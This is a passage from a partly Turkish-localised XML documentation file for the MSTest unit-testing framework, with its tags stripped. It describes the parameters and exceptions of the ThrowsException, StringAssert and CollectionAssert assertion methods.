AssertInconclusiveException oluşturur. - - - Özel duruma eklenecek ileti. İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Always thrown. - - - - - Statik eşit aşırı yüklemeler iki türün örneklerini başvuru eşitliği bakımından - karşılaştırmak için kullanılır. Bu metot iki örneği eşitlik bakımından karşılaştırmak için - kullanılmamalıdır. Bu nesne her zaman Assert.Fail ile oluşturulur. - Lütfen birim testlerinizde Assert.AreEqual ve ilişkili aşırı yüklemelerini kullanın. - - Nesne A - Nesne B - Her zaman false. - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Şu durumda özel duruma dahil edilecek ileti - şu türde bir özel durum oluşturmaz: . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Şu durumda özel duruma dahil edilecek ileti - şu türde bir özel durum oluşturmaz: . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Şu durumda özel duruma dahil edilecek ileti - şu türde bir özel durum oluşturmaz: . - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Şu durumda özel duruma dahil edilecek ileti - şu türde bir özel durum oluşturmaz: . - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Bir temsilciyi çalıştırıyor. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa AssertFailedException oluşturur. - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - Şu durumda özel duruma dahil edilecek ileti - tarafından şu türde özel durum oluşturulmadığı durumlarda oluşturulur: . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Bir temsilciyi çalıştırıyor. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa AssertFailedException oluşturur. - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - Şu durumda özel duruma dahil edilecek ileti - tarafından şu türde özel durum oluşturulmadığı durumlarda oluşturulur: . - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Bir temsilciyi çalıştırıyor. - - - - - Null karakterleri ('\0'), "\\0" ile değiştirir. - - - Aranacak dize. - - - Null karakterler içeren dönüştürülmüş dize "\\0" ile değiştirildi. - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - AssertionFailedException oluşturan yardımcı işlev - - - özel durum oluşturan onaylamanın adı - - - onaylama hatası koşullarını açıklayan ileti - - - Parametreler. - - - - - Parametreyi geçerli koşullar için denetler - - - Parametre. - - - Onaylama Adı. - - - parametre adı - - - iletisi geçersiz parametre özel durumu içindir - - - Parametreler. - - - - - Bir nesneyi güvenli bir şekilde dizeye dönüştürür, null değerleri ve null karakterleri işler. - Null değerler "(null)" değerine dönüştürülür. Null karakterler "\\0" değerine dönüştürülür. - - - Dizeye dönüştürülecek nesne. - - - Dönüştürülmüş dize. - - - - - Dize onayı. - - - - - CollectionAssert işlevselliğinin tekil örneğini alır. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Belirtilen dizenin belirtilen alt dizeyi içerip içermediğini test eder - ve alt dize test dizesinin içinde geçmiyorsa bir özel durum - oluşturur. - - - Şunu içermesi beklenen dize . - - - Şunun içinde gerçekleşmesi beklenen dize: . - - - Thrown if is not found in - . - - - - - Belirtilen dizenin belirtilen alt dizeyi içerip içermediğini test eder - ve alt dize test dizesinin içinde geçmiyorsa bir özel durum - oluşturur. - - - Şunu içermesi beklenen dize . - - - Şunun içinde gerçekleşmesi beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şunun içinde değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not found in - . - - - - - Belirtilen dizenin belirtilen alt dizeyi içerip içermediğini test eder - ve alt dize test dizesinin içinde geçmiyorsa bir özel durum - oluşturur. - - - Şunu içermesi beklenen dize . - - - Şunun içinde gerçekleşmesi beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şunun içinde değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not found in - . - - - - - Belirtilen dizenin belirtilen alt dizeyle başlayıp başlamadığını test eder - ve test dizesi alt dizeyle başlamıyorsa bir özel durum - oluşturur. - - - Şununla başlaması beklenen dize . - - - Şunun ön eki olması beklenen dize: . - - - Thrown if does not begin with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle başlayıp başlamadığını test eder - ve test dizesi alt dizeyle başlamıyorsa bir özel durum - oluşturur. - - - Şununla başlaması beklenen dize . - - - Şunun ön eki olması beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şununla başlamıyor: . İleti - test sonuçlarında gösterilir. - - - Thrown if does not begin with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle başlayıp başlamadığını test eder - ve test dizesi alt dizeyle başlamıyorsa bir özel durum - oluşturur. - - - Şununla başlaması beklenen dize . - - - Şunun ön eki olması beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şununla başlamıyor: . İleti - test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if does not begin with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle bitip bitmediğini test eder - ve test dizesi alt dizeyle bitmiyorsa bir özel durum - oluşturur. - - - Dizenin şununla bitmesi beklenir: . - - - Şunun son eki olması beklenen dize: . - - - Thrown if does not end with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle bitip bitmediğini test eder - ve test dizesi alt dizeyle bitmiyorsa bir özel durum - oluşturur. - - - Dizenin şununla bitmesi beklenir: . - - - Şunun son eki olması beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şununla bitmiyor: . İleti - test sonuçlarında gösterilir. - - - Thrown if does not end with - . - - - - - Belirtilen dizenin belirtilen alt dizeyle bitip bitmediğini test eder - ve test dizesi alt dizeyle bitmiyorsa bir özel durum - oluşturur. - - - Dizenin şununla bitmesi beklenir: . - - - Şunun son eki olması beklenen dize: . - - - Şu durumda özel duruma dahil edilecek ileti - şununla bitmiyor: . İleti - test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if does not end with - . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşmiyorsa bir özel durum oluşturur. - - - Eşleşmesi beklenen dize . - - - Normal ifade: eşleşmesi - bekleniyor. - - - Thrown if does not match - . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşmiyorsa bir özel durum oluşturur. - - - Eşleşmesi beklenen dize . - - - Normal ifade: eşleşmesi - bekleniyor. - - - Şu durumda özel duruma dahil edilecek ileti - eşleşmiyor . İleti test sonuçlarında - gösterilir. - - - Thrown if does not match - . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşmiyorsa bir özel durum oluşturur. - - - Eşleşmesi beklenen dize . - - - Normal ifade: eşleşmesi - bekleniyor. - - - Şu durumda özel duruma dahil edilecek ileti - eşleşmiyor . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if does not match - . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşiyorsa bir özel durum oluşturur. - - - Eşleşmemesi beklenen dize . - - - Normal ifade: eşleşmemesi - bekleniyor. - - - Thrown if matches . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşiyorsa bir özel durum oluşturur. - - - Eşleşmemesi beklenen dize . - - - Normal ifade: eşleşmemesi - bekleniyor. - - - Şu durumda özel duruma dahil edilecek ileti - eşleşme . İleti, test sonuçlarında - gösterilir. - - - Thrown if matches . - - - - - Belirtilen dizenin bir normal ifadeyle eşleşip eşleşmediğini test eder - ve dize ifadeyle eşleşiyorsa bir özel durum oluşturur. - - - Eşleşmemesi beklenen dize . - - - Normal ifade: eşleşmemesi - bekleniyor. - - - Şu durumda özel duruma dahil edilecek ileti - eşleşme . İleti, test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if matches . - - - - - Birim testleri içindeki koleksiyonlarla ilişkili çeşitli koşulları test etmeye - yönelik yardımcı sınıf koleksiyonu. Test edilen koşul karşılanmazsa - bir özel durum oluşturulur. - - - - - CollectionAssert işlevselliğinin tekil örneğini alır. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda değilse bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olması beklenen öğe. - - - Thrown if is not found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda değilse bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olması beklenen öğe. - - - Şu durumda özel duruma dahil edilecek ileti - şunun içinde değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda değilse bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olması beklenen öğe. - - - Şu durumda özel duruma dahil edilecek ileti - şunun içinde değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda bulunuyorsa bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olmaması beklenen öğe. - - - Thrown if is found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda bulunuyorsa bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olmaması beklenen öğe. - - - Şu durumda özel duruma dahil edilecek ileti - şunun içindedir: . İleti, test sonuçlarında - gösterilir. - - - Thrown if is found in - . - - - - - Belirtilen koleksiyonun belirtilen öğeyi içerip içermediğini test eder - ve öğe koleksiyonda bulunuyorsa bir özel durum oluşturur. - - - Öğenin aranacağı koleksiyon. - - - Koleksiyonda olmaması beklenen öğe. - - - Şu durumda özel duruma dahil edilecek ileti - şunun içindedir: . İleti, test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is found in - . - - - - - Belirtilen koleksiyondaki tüm öğelerin null dışında değere sahip olup - olmadığını test eder ve herhangi bir öğe null ise özel durum oluşturur. - - - İçinde null öğelerin aranacağı koleksiyon. - - - Thrown if a null element is found in . - - - - - Belirtilen koleksiyondaki tüm öğelerin null dışında değere sahip olup - olmadığını test eder ve herhangi bir öğe null ise özel durum oluşturur. - - - İçinde null öğelerin aranacağı koleksiyon. - - - Şu durumda özel duruma dahil edilecek ileti - bir null öğe içeriyor. İleti test sonuçlarında gösterilir. - - - Thrown if a null element is found in . - - - - - Belirtilen koleksiyondaki tüm öğelerin null dışında değere sahip olup - olmadığını test eder ve herhangi bir öğe null ise özel durum oluşturur. - - - İçinde null öğelerin aranacağı koleksiyon. - - - Şu durumda özel duruma dahil edilecek ileti - bir null öğe içeriyor. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if a null element is found in . - - - - - Belirtilen koleksiyondaki tüm öğelerin benzersiz olup olmadığını test eder - ve koleksiyondaki herhangi iki öğe eşitse özel durum oluşturur. - - - Yinelenen öğelerin aranacağı koleksiyon. - - - Thrown if a two or more equal elements are found in - . - - - - - Belirtilen koleksiyondaki tüm öğelerin benzersiz olup olmadığını test eder - ve koleksiyondaki herhangi iki öğe eşitse özel durum oluşturur. - - - Yinelenen öğelerin aranacağı koleksiyon. - - - Şu durumda özel duruma dahil edilecek ileti - en az bir yinelenen öğe içeriyor. İleti, test sonuçlarında - gösterilir. - - - Thrown if a two or more equal elements are found in - . - - - - - Belirtilen koleksiyondaki tüm öğelerin benzersiz olup olmadığını test eder - ve koleksiyondaki herhangi iki öğe eşitse özel durum oluşturur. - - - Yinelenen öğelerin aranacağı koleksiyon. - - - Şu durumda özel duruma dahil edilecek ileti - en az bir yinelenen öğe içeriyor. İleti, test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if a two or more equal elements are found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki herhangi bir öğe aynı zamanda üst kümede - yoksa bir özel durum oluşturur. - - - Şunun alt kümesi olması beklenen koleksiyon: . - - - Şunun üst kümesi olması beklenen koleksiyon: - - - Thrown if an element in is not found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki herhangi bir öğe aynı zamanda üst kümede - yoksa bir özel durum oluşturur. - - - Şunun alt kümesi olması beklenen koleksiyon: . - - - Şunun üst kümesi olması beklenen koleksiyon: - - - İletinin özel duruma dahil edilmesi için şuradaki bir öğe: - şurada bulunmuyor: . - İleti test sonuçlarında gösterilir. - - - Thrown if an element in is not found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki herhangi bir öğe aynı zamanda üst kümede - yoksa bir özel durum oluşturur. - - - Şunun alt kümesi olması beklenen koleksiyon: . - - - Şunun üst kümesi olması beklenen koleksiyon: - - - İletinin özel duruma dahil edilmesi için şuradaki bir öğe: - şurada bulunmuyor: . - İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if an element in is not found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki tüm öğeler aynı zamanda üst kümede - bulunuyorsa bir özel durum oluşturur. - - - Şunun alt kümesi olmaması beklenen koleksiyon: . - - - Şunun üst kümesi olmaması beklenen koleksiyon: - - - Thrown if every element in is also found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki tüm öğeler aynı zamanda üst kümede - bulunuyorsa bir özel durum oluşturur. - - - Şunun alt kümesi olmaması beklenen koleksiyon: . - - - Şunun üst kümesi olmaması beklenen koleksiyon: - - - Mesajın özel duruma dahil edilmesi için şuradaki her öğe: - ayrıca şurada bulunur: . - İleti test sonuçlarında gösterilir. - - - Thrown if every element in is also found in - . - - - - - Bir koleksiyonun başka bir koleksiyona ait alt küme olup olmadığını - test eder ve alt kümedeki tüm öğeler aynı zamanda üst kümede - bulunuyorsa bir özel durum oluşturur. - - - Şunun alt kümesi olmaması beklenen koleksiyon: . - - - Şunun üst kümesi olmaması beklenen koleksiyon: - - - Mesajın özel duruma dahil edilmesi için şuradaki her öğe: - ayrıca şurada bulunur: . - İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if every element in is also found in - . - - - - - İki koleksiyonun aynı öğeleri içerip içermediğini test eder ve koleksiyonlardan - biri diğer koleksiyonda olmayan bir öğeyi içeriyorsa özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte beklenen öğeleri - içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - İki koleksiyonun aynı öğeleri içerip içermediğini test eder ve koleksiyonlardan - biri diğer koleksiyonda olmayan bir öğeyi içeriyorsa özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte beklenen öğeleri - içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Bir öğe koleksiyonlardan birinde varken diğerinde olmadığında - özel duruma eklenecek ileti. İleti, test sonuçlarında - gösterilir. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - İki koleksiyonun aynı öğeleri içerip içermediğini test eder ve koleksiyonlardan - biri diğer koleksiyonda olmayan bir öğeyi içeriyorsa özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte beklenen öğeleri - içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Bir öğe koleksiyonlardan birinde varken diğerinde olmadığında - özel duruma eklenecek ileti. İleti, test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - İki koleksiyonun farklı öğeler içerip içermediğini test eder ve iki koleksiyon - sıraya bakılmaksızın aynı öğeleri içeriyorsa bir özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte gerçek koleksiyondan farklı olması beklenen - öğeleri içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - İki koleksiyonun farklı öğeler içerip içermediğini test eder ve iki koleksiyon - sıraya bakılmaksızın aynı öğeleri içeriyorsa bir özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte gerçek koleksiyondan farklı olması beklenen - öğeleri içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynı öğeleri içerir: . İleti - test sonuçlarında gösterilir. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - İki koleksiyonun farklı öğeler içerip içermediğini test eder ve iki koleksiyon - sıraya bakılmaksızın aynı öğeleri içeriyorsa bir özel durum - oluşturur. - - - Karşılaştırılacak birinci koleksiyon. Testte gerçek koleksiyondan farklı olması beklenen - öğeleri içerir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından - bu koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynı öğeleri içerir: . İleti - test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Belirtilen koleksiyondaki tüm öğelerin beklenen türde örnekler - olup olmadığını test eder ve beklenen tür bir veya daha fazla öğenin - devralma hiyerarşisinde değilse bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen öğeleri içeren - koleksiyon. - - - Her öğe için beklenen tür . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Belirtilen koleksiyondaki tüm öğelerin beklenen türde örnekler - olup olmadığını test eder ve beklenen tür bir veya daha fazla öğenin - devralma hiyerarşisinde değilse bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen öğeleri içeren - koleksiyon. - - - Her öğe için beklenen tür . - - - İletinin özel duruma dahil edilmesi için şuradaki bir öğe: - şunun bir örneği değil: - . İleti test sonuçlarında gösterilir. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Belirtilen koleksiyondaki tüm öğelerin beklenen türde örnekler - olup olmadığını test eder ve beklenen tür bir veya daha fazla öğenin - devralma hiyerarşisinde değilse bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen öğeleri içeren - koleksiyon. - - - Her öğe için beklenen tür . - - - İletinin özel duruma dahil edilmesi için şuradaki bir öğe: - şunun bir örneği değil: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon - eşit değilse bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve aynı miktarda - sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyon beklenir. - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci 